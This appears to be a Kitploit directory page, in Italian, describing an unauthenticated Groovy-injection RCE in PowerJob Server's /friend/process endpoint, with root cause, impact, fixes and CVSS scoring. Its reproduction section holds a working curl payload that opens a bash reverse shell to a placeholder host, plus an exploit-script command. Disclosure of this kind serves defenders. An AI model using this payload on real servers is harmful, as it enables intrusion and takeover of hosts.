Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — Exploit di esecuzione remota di codice non autenticato per PowerJob Server tramite iniezione Groovy nell'endpoint /friend/process, che consente l'esecuzione arbitraria di comandi e reverse shell. | Kitploit
Strumenti/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingTrojan di Accesso Remoto
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Exploit di esecuzione remota di codice non autenticato per PowerJob Server tramite iniezione Groovy nell'endpoint /friend/process, che consente l'esecuzione arbitraria di comandi e reverse shell.

Vedi Repository
25 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Esecuzione di Codice Remota nel Server PowerJob tramite /friend/process non autenticato (Iniezione Groovy)

1. Riepilogo

Il Server PowerJob (framework distribuito di pianificazione job / calcolo) espone l'endpoint /friend/process sulla sua porta HTTP 10010 del livello di trasporto Worker↔Server senza alcuna autenticazione. L'endpoint riflette un metodo pubblico arbitrario di un Bean Spring arbitrario; un attaccante che invoca GroovyEvaluator.evaluate può eseguire espressioni Groovy arbitrarie, ottenendo esecuzione di codice remota non autenticata. Il docker-compose predefinito pubblica questa porta su 0.0.0.0, quindi un server può essere completamente compromesso senza credenziali.

2. Prodotto Interessato

  • Prodotto: PowerJob (framework distribuito di pianificazione job / calcolo)
  • Versioni interessate: 5.1.2 (il design del livello di trasporto è stato ereditato dalle versioni precedenti; le versioni più vecchie sono ugualmente interessate — segnalare 4.x–5.1.2)
  • Repository sorgente: https://github.com/PowerJob/PowerJob
  • Distribuzione predefinita: docker-compose.yml:29-33,47-48 pubblica 10010 (trasporto HTTP), 10086 (AKKA), 10077 (MU) sull'host 0.0.0.0

3. Posizione della Vulnerabilità

ElementoValore
Endpoint di attivazionePOST http://<server>:10010/friend/process
RegistrazioneFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrato per tutti e tre i protocolli: HTTP/MU/AKKA)
Esecuzione riflessivaRemoteRequestProcessor.processRemoteRequest()
Sink pericolosoGroovyEvaluator.evaluate() → ScriptEngine.eval()
Autenticazione mancanteHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registrano le route senza alcun controllo di token/firma

File sorgente chiave (relativi alla radice del repository):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra le route sulla 10010, nessuna autenticazione)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Causa Principale

  1. Zero autenticazione sul livello di trasporto: PowerJob tratta i protocolli di comunicazione tra Worker e Server (HTTP/AKKA/MU) come una zona di "fiducia interna". Qualsiasi host che possa raggiungere le porte 10010/10086/10077 viene trattato come un nodo legittimo; non c'è handshake né firma.
  2. Riflessione arbitraria dei Bean: RemoteRequestProcessor.processRemoteRequest si fida completamente dei campi className, methodName, parameterTypes e args del corpo della richiesta — usa Class.forName + SpringUtils.getBean per ottenere qualsiasi Bean Spring e poi invoca uno qualsiasi dei suoi metodi pubblici tramite ReflectionUtils di Spring.
  3. Metodo pericoloso raggiungibile: GroovyEvaluator è un bean @Component il cui evaluate(String, Object) chiama il motore di script Groovy (ScriptEngineManager) per eseguire eval() direttamente sull'espressione dell'attaccante.

La combinazione dei tre elementi equivale a RCE non autenticata.

5. Scenario di Attacco (precondizione: sola raggiungibilità di rete alla porta 10010)

  1. L'attaccante invia una POST HTTP alla porta 10010 del server PowerJob (nessun Cookie/Token richiesto).
  2. Il corpo della richiesta è un JSON RemoteProcessReq che punta a GroovyEvaluator.evaluate con un'espressione Groovy arbitraria (es., 'id'.execute().text).
  3. Il server invoca riflessivamente il metodo; il motore Groovy valuta l'espressione.
  4. Il risultato dell'esecuzione del comando viene restituito all'attaccante in AskResponse.data (JSON base64).
  5. L'attaccante può anche usare Groovy per scrivere file arbitrari, generare una reverse shell o esfiltrare dati.

6. Riproduzione (verificata)

Ambiente: JDK 17, powerjob-server-starter-5.1.2.jar compilato dal sorgente (profilo daily), server in ascolto su 192.168.49.128:10010. Riverificato su JDK 21 (il payload in forma di shell qui sotto funziona su entrambi; vedere la nota su File.write più sotto).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Risposta effettiva: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Decodificando in base64 il campo data si ottiene l'output del comando eseguito sulla JVM del server:

image

In alternativa, è possibile riprodurlo usando lo script:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Osservato vs Atteso

  • Osservato: una richiesta HTTP non autenticata fa eseguire al server comandi arbitrari.
  • Atteso: /friend/process fa parte della comunicazione interna Server↔Worker; dovrebbe rifiutare richieste non autenticate, oppure il metodo non dovrebbe essere invocabile da remoto.

8. Impatto

  • Riservatezza: Alta — lettura di file arbitrari/memoria/credenziali sul server.
  • Integrità: Alta — scrittura di file arbitrari, manomissione di configurazione e job.
  • Disponibilità: Alta — può terminare processi/servizi.
  • Limite dell'impatto: processo server → host (con i privilegi dell'utente del servizio); in una distribuzione predefinita, l'attaccante può muoversi lateralmente nella rete interna dell'host.

9. Correzione Suggerita

  1. Aggiungere autenticazione reciproca Server/Worker (token/firma) al livello di trasporto e validare la sorgente; non esporre 10010/10086/10077 a internet pubblico.
  2. Modificare RemoteRequestProcessor in una lista consentita: limitare className/methodName a handler sicuri definiti dal framework e vietare l'invocazione riflessiva di bean arbitrari.
  3. Rimuovere o limitare strettamente la raggiungibilità remota di GroovyEvaluator (se deve rimanere, aggiungere autenticazione e una sandbox).
  4. Disabilitare /friend/process (S4S_HANDLER_PROCESS) per impostazione predefinita o limitarlo solo a sorgenti interne.

10. CWE

  • Primaria: CWE-94 (Controllo Improprio della Generazione di Codice — iniezione Groovy)
  • Secondaria: CWE-470 (Uso di Input Controllato Esternamente per Selezionare Classi o Codice — riflessione arbitraria dei Bean), CWE-306 (Autenticazione Mancante per Funzione Critica)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critico

12. Ambiente

  • Sistema operativo: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (riproduzione originale); riverificato su OpenJDK 21.0.11
  • Build: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • Database: MariaDB 10.6 (non richiesto — /friend/process è attivabile senza database)
  • Esecuzione: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Scarica lo strumento